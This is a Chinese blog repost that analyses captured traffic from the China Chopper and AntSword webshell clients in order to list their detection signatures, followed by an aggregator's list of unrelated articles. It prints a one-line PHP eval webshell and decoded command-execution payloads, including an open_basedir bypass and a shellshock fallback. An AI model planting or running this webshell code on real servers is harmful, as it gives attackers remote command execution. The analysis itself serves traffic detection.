Webshell 流量特征分析

news2024/11/20 20:26:00

前言:webshell是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。

0x01 中国菜刀

菜刀作为一个老牌webshell连接工具,在以前已经大放光彩。但相对于现在来说,功能比较单一,且没有提供插件,也不支持扩展,目前也没有继续更新了。还有一点就是菜刀只能处理eval函数。但现在用于流量分析是一个很好的案例。

下面以php为样例来进行分析。

<?php eval($_POST[1])?>

由于菜刀本身不带代理功能,我们可以借助第三方流量探测工具查看,这里我们使用wireshark。

# 执行whoami命令 中国菜刀的数据包
1=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyAneyRzfSciOiIvYyB7JHN9Ijskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIpOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=Y21k&z2=Y2QgL2QgIkM6XHB1dFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

简单看了一下,菜刀的数据加密只有url编码和base64编码,很容易解码。

#解密后
1=@eval(base64_decode($_POST[z0]));&z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";$r="{$p} {$c}";@system($r." 2>&1");;echo("|<-");die();&z2=cd /d "C:\put\"&whoami&echo [S]&cd&echo [E]
# 分段查看分析
1=@eval(base64_decode($_POST[z0]));  # 内嵌一个eval函数,参数名为z0
&z0=@ini_set("display_errors","0");      # 设置环境变量
@set_time_limit(0);     # 设置环境变量
@set_magic_quotes_runtime(0);   # 设置环境变量
echo("->|");;          # 打印字符
$p=base64_decode($_POST["z1"]);        #  POST传参z1
$s=base64_decode($_POST["z2"]);        #  POST传参z2
$d=dirname($_SERVER["SCRIPT_FILENAME"]); # 将当前目录传递给$d
$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";
$r="{$p} {$c}";
@system($r." 2>&1");;  # 将解密后的参数传入system函数进行执行
echo("|<-");
die();
&z1=Y21k;  #cmd的base64编码
&z2=cd /d "C:\put\"&whoami&echo [S]&cd&echo [E] # 执行命令
总结特征:

主要利用方式:eval函数
参数名:z1、z2、z3。 z0用于设置环境变量、z1为密码、z2为执行的命令。
加密方式: base64加密、url编码
User-Agent: 百度的或者是火狐的。
其他:下面几个环境变量也可以作为流量特征来进行研判分析。

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);

0x02 蚁剑

前言:中国蚁剑的核心代码模板均改自伟大的中国菜刀,所以总体特征跟菜刀很像,且蚁剑目前有人更新,有插件,能处理几种函数,相比于菜刀来说,功能性更高,拓展性更强。本次测试的版本为v2.1.15

蚁剑自带代理功能,我们可以直接将流量代理到burp上进行分析。

配置完代理后,我们点击测试连接,就可以抓到包了。


我们将这个测试连接的流量拿出来分析

# 原始流量
pass=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.a76c2547%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22eb19%22.%22962d%22%3Becho%20%40asenc(%24output)%3Becho%20%22a0e481%22.%22b16150%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B
# url解码后
# 这两行试图禁止错误信息的显示,并将脚本的执行时间限制设置为无限。
pass=@ini_set("display_errors","0");
@set_time_limit(0);
# 这一行获取 PHP 配置指令 open_basedir 的值,该指令限制了可以从中读取文件的目录。
$opdir=@ini_get("open_basedir");
# 这一段代码尝试在当前目录和临时目录中创建隐藏目录,然后尝试改变目录,绕过 open_basedir 限制。
if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {if(!@is_writable($item)){continue;};
$tmdir=$item."/.a76c2547";
@mkdir($tmdir);

if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir","..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};};;
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();
ob_end_clean();
echo "eb19"."962d";
echo @asenc($output);
echo "a0e481"."b16150";}
ob_start();
# 这部分代码会捕获异常,然后输出一些系统和用户信息,做了一些代码混淆
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}";
if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}
else{$R.="/";}$R.="    ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="    {$s}";
echo $R;;}catch(Exception $e)
{echo "ERROR://".$e->getMessage();};
asoutput();
die();

响应包:


根据响应包,我们可以看出请求包里执行了三条系统命令(利用php系统函数)

1. pwd           ->  dirname($_SERVER["SCRIPT_FILENAME"])
2. uname -a      ->  php_uname()
3. whoami        ->  get_current_user()

说明蚁剑测试是否连接成功,是通过检测响应包中是否存在对应的字段。当然这里只做了检测的流量分析,接下来我们看看其他的命令执行的流量。

# 执行id命令。
c99e8d28cab9b9=dML2Jpbi9zaA%3D%3D&m1b60a407d94ab=1i&m6aca223dba11a=tWY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIDY2NTBmODtwd2Q7ZWNobyBjMDgwNDdmZTVm&pass=
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir); # /;|:/
@array_push($oparr,$ocwd,sys_get_temp_dir());       # 创建临时目录
foreach($oparr as $item) {if(!@is_writable($item)){continue;};
$tmdir=$item."/.1db58ee414";
@mkdir($tmdir);
if(!@file_exists($tmdir)){continue;}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir","..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};};;
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();
ob_end_clean();
echo "de6363"."e053e6";
echo @asenc($output);
echo "b58"."9678";}ob_start();
try{$p=base64_decode(substr($_POST["p5dd8c3542537a"],2));  # 调用/bin/bash 
$s=base64_decode(substr($_POST["i250ce4b58060b"],2));
$envstr=@base64_decode(substr($_POST["d6fd35bd99a9ec"],2)); # 要执行的命令参数  cd "/var/www/html";id;echo 6650f8;pwd;echo c08047fe5f
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}
else{@putenv("PATH=".getenv("PATH").";
C:/Windows/system32;
C:/Windows/SysWOW64;
C:/Windows;
C:/Windows/System32/WindowsPowerShell/v1.0/;");}
if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";
function fe($f){$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){$d=array();}
else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};
function runshellshock($d, $c) 
{if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; 
$c >$tmp 2>&1");if (fe('error_log')) 
{error_log("a", 1);} 
else {mail("a@127.0.0.1", "", "", "-bv");}} 
else {return False;}$output = @file_get_contents($tmp);
@unlink($tmp);if ($output != "") 
{print($output);return True;}}return False;};
function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')){@system($c,$ret);}     # 条件满足,执行system函数
elseif(fe('passthru')){@passthru($c,$ret);} # 否则执行 passthru函数
elseif(fe('shell_exec')){print(@shell_exec($c));} # 否则 shell_exec函数
elseif(fe('exec')){@exec($c,$o,$ret);      #否则执行exec函数
print(join("",$o));}
elseif(fe('popen')){$fp=@popen($c,'r');
while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}
elseif(fe('proc_open')){
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){print(@fgets($io[1],2048));}
while(!@feof($io[2])){print(@fgets($io[2],2048));}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);}
elseif(fe('antsystem')){@antsystem($c);}
elseif(runshellshock($d, $c)) {return $ret;}
elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');
$e=$w->exec($c);$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);}
else{$ret = 127;}return $ret;};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";;}
catch(Exception $e)
{echo "ERROR://".$e->getMessage();};
asoutput();
die();

简单梳理一下,大概就是开始定义POST的参数,其中

c99e8d28cab9b9=dML2Jpbi9zaA%3D%3D
m1b60a407d94ab=1i
m6aca223dba11a=tWY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIDY2NTBmODtwd2Q7ZWNobyBjMDgwNDdmZTVm

参数名字应该是随机生成的,最后会将这几个值代入到最后的代码里面执行。
这里我们主要看这几条代码:

# 这几条代码会将前面的参数的值进行一个解码操作
$p=base64_decode(substr($_POST["p5dd8c3542537a"],2));  # 调用/bin/bash 
$s=base64_decode(substr($_POST["i250ce4b58060b"],2));  # 用于后面判断测试
$envstr=@base64_decode(substr($_POST["d6fd35bd99a9ec"],2)); # 要执行的命令参数  cd "/var/www/html";id;echo 6650f8;pwd;echo c08047fe5f

最后参数会经过几轮倒转最后被调用到以下几个函数进行测试,接下来看这几行代码:

if(fe('system')){@system($c,$ret);}     # 条件满足,执行system函数
elseif(fe('passthru')){@passthru($c,$ret);} # 否则执行 passthru函数
elseif(fe('shell_exec')){print(@shell_exec($c));} # 否则 shell_exec函数
elseif(fe('exec')){@exec($c,$o,$ret);      #否则执行exec函数

至此,我们总结一下蚁剑的流量特征:

  1. 与菜刀一样存在字段
    @ini_set("display_errors","0");
    @set_time_limit(0);
  2. 在v2.1.15的版本中,会在POST传参处随机生成几个14位数的参数,并且参数后面的值会进行base编码
  3. 会调用四种函数来测试命令执行;system,passthru,shell_exec,exec。

0x03 总结

蚁剑目前的流量分析,都是没有使用编码器和解码器的,而蚁剑相比于菜刀的优势就在于这个编码器和解码器,能够更方便的隐藏自己,后面有想进一步了解的小伙伴可以点个关注哟。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1031687.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023-2024年最新大数据学习路线

文章目录 2023-2024年最新大数据学习路线大数据开发入门*01*阶段案例实战 大数据核心基础*02*阶段案例实战 千亿级数仓技术*03*阶段项目实战 PB级内存计算04阶段项目实战 亚秒级实时计算*05*阶段项目实战 大厂面试*06* 2023-2024年最新大数据学习路线 新路线图在Spark一章不再…

CSS 基础 3

目录 &#x1f680; 导读 -- target 盒子模型 看透网页布局的本质 盒子模型组成 边框(border) border-style ​编辑border-color border-width 边框写法 简写 分开写 表格细线边框 边框会影响盒子实际大小 内边距 内容 内边距-padding padding属性简写 pad…

vue点击pdf文件直接在浏览器中预览文件

好久没有更新文章了&#xff0c;说说为什么会有这篇文章呢&#xff0c;其实是应某个热线评论的要求出的&#xff0c;不过由于最近很长一段时间没打开csdn现在才看到&#xff0c;所以才会导致到现在才出。 先来看看封装完这个预览方法的使用&#xff0c;主打一个方便使用&#x…

Java学习day06:面向对象基础,构造方法,成员/局部变量

声明&#xff1a;该专栏本人重新过一遍java知识点时候的笔记汇总&#xff0c;主要是每天的知识点题解&#xff0c;算是让自己巩固复习&#xff0c;也希望能给初学的朋友们一点帮助&#xff0c;大佬们不喜勿喷(抱拳了老铁&#xff01;) Java学习day06&#xff1a;面向对象基础&a…

网络爬虫相关概念

目录 1、什么是爬虫&#xff1f; 2、网络爬虫步骤 3、爬虫核心 4、爬虫的用途 5、爬虫分类 6、反爬手段 1、什么是爬虫&#xff1f; 如果我们把互联网比作一张大的蜘蛛网&#xff0c;那一台计算机上的数据便是蜘蛛网上的一个猎物&#xff0c;而爬虫程序就是一只小蜘蛛&am…

给定一个链表,判断链表中是否有环

【思路】 快慢指针&#xff0c;即慢指针一次走一步&#xff0c;快指针一次走两步&#xff0c;两个指针从链表其实位置开始运行&#xff0c; **如果链表带环则一定会在环中相遇&#xff0c;**否则快指针率先走到链表的末尾。比如&#xff1a;陪女朋友到操作跑步减肥。 bool hasC…

测试域: 流量回放-工具篇jvm-sandbox,jvm-sandbox-repeater,gs-rest-service

JVM-Sandbox Jvm-Sandbox-Repeater架构_小小平不平凡的博客-CSDN博客 https://www.cnblogs.com/hong-fithing/p/16222644.html 流量回放框架jvm-sandbox-repeater的实践_做人&#xff0c;最重要的就是开心嘛的博客-CSDN博客 [jvm-sandbox-repeater 学习笔记][入门使用篇] 2…

Unity丨自动巡航丨自动寻路丨NPC丨

文章目录 概要功能展示技术细节小结 概要 提示&#xff1a;这里可以添加技术概要 本文功能是制作一个简单的自动巡逻的NPC&#xff0c;随机自动寻路。 功能展示 技术细节 using UnityEngine;public class NPCController : MonoBehaviour {public float moveSpeed 5.0f; // …

成都瀚网科技:抖音提供差异化​​亮点!

在抖音平台上&#xff0c;精选联盟是一个专门为优质品牌提供展示和推广机会的合作项目。对于斗店主来说&#xff0c;如何成功对接精选联盟并实现上市是一个重要目标。在这篇文章中&#xff0c;我们将分享一些豆点与精选联盟对接的方法&#xff0c;并提供上币指南。 1、提升店铺…

2023最新如何轻松升级、安装和试用Navicat Premium 16.2.10 教程详解

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

六、决策树算法(DT,DecisionTreeClassifier)(有监督学习)

决策树&#xff08;DT&#xff09;是一种用于分类和回归的非参数监督学习方法。其目标是创建一个模型&#xff0c;通过学习从数据特征中推断出的简单决策规则来预测目标变量的值。一棵树可以看作是一个片断常数近似值。 一、算法思路 具体可参考博文&#xff1a;七、决策树算…

linux升级glibc-2.28

1.准备工作 1.1升级gcc到gcc8 # 安装devtoolset-8-gcc yum install centos-release-scl yum install devtoolset-8 scl enable devtoolset-8 -- bash# 启用工具 source /opt/rh/devtoolset-8/enable # 安装GCC-8 yum install -y devtoolset-8-gcc devtoolset-8-gcc-c devtoolse…

【C语言】数组和指针刷题练习

指针和数组我们已经学习的差不多了&#xff0c;今天就为大家分享一些指针和数组的常见练习题&#xff0c;还包含许多经典面试题哦&#xff01; 一、求数组长度和大小 普通一维数组 int main() {//一维数组int a[] { 1,2,3,4 };printf("%d\n", sizeof(a));//整个数组…

[plugin:vite:css] [sass] Undefined mixin.

前言&#xff1a; vite vue3 TypeScript环境 scss报错&#xff1a; [plugin:vite:css] [sass] Undefined mixin. 解决方案&#xff1a; 在vite.config.ts文件添加配置 css: {preprocessorOptions: {// 导入scss预编译程序scss: {additionalData: use "/resources/_ha…

如何使用远程桌面软件进行远程工作

远程工作提供了更大的灵活性和自由度&#xff0c;使得可以在任何地点工作。而要实现高效的远程工作&#xff0c;一个关键的工具就是远程桌面软件。本文将详细介绍如何使用远程桌面软件进行远程工作&#xff0c;以帮助读者提高工作效率。 一、了解远程桌面软件的基本原理 远程桌…

带你一步实现《栈》(括号匹配问题)

栈的结构及概念 栈是一种特殊的线性表&#xff0c;只允许在固定的一端插入或删除数据&#xff0c;进行插入和删除的一端被称为栈顶&#xff0c;另一端称为栈底。栈中的数据遵循后进先出原则 LIFO&#xff08;LAST IN FIRST OUT) 俗称栈的插入过程叫做压栈&#xff0c;入栈&…

Batbot智慧能源管理云平台:拥抱数字化,提高能源效率!

我们拥抱数字化&#xff0c;以帮助提高能源效率。 政府已采取措施增强国家的环境信誉&#xff0c;旨在实现雄心勃勃的法定目标&#xff0c;即到2035年&#xff0c;将国家温室气体排放量减少78%&#xff08;与1990年相比&#xff09;。 拥抱数字化&#xff0c;提高能源效率&a…

HTTP 协商缓存 Last-Modified,If-Modified-Since

浏览器第一次跟服务器请求一个资源&#xff0c;服务器在返回这个资源的同时&#xff0c;在respone header加上Last-Modified属性&#xff08;表示这个资源在服务器上的最后修改时间&#xff09;&#xff1a; ----------------------------------------------------------------…

ThinkPHP5,使用unionAll取出两个毫无相关字段表的数据且分页

一&#xff1a;首先来了解一下 union 和 unionAll 1&#xff1a;取结果的并集&#xff0c;是否去重 union&#xff1a;对两个结果集进行并集操作&#xff0c;不包括重复行&#xff0c;相当于distinct&#xff0c;同时进行默认规则的排序&#xff1b; unionAll&#xff1a;对两…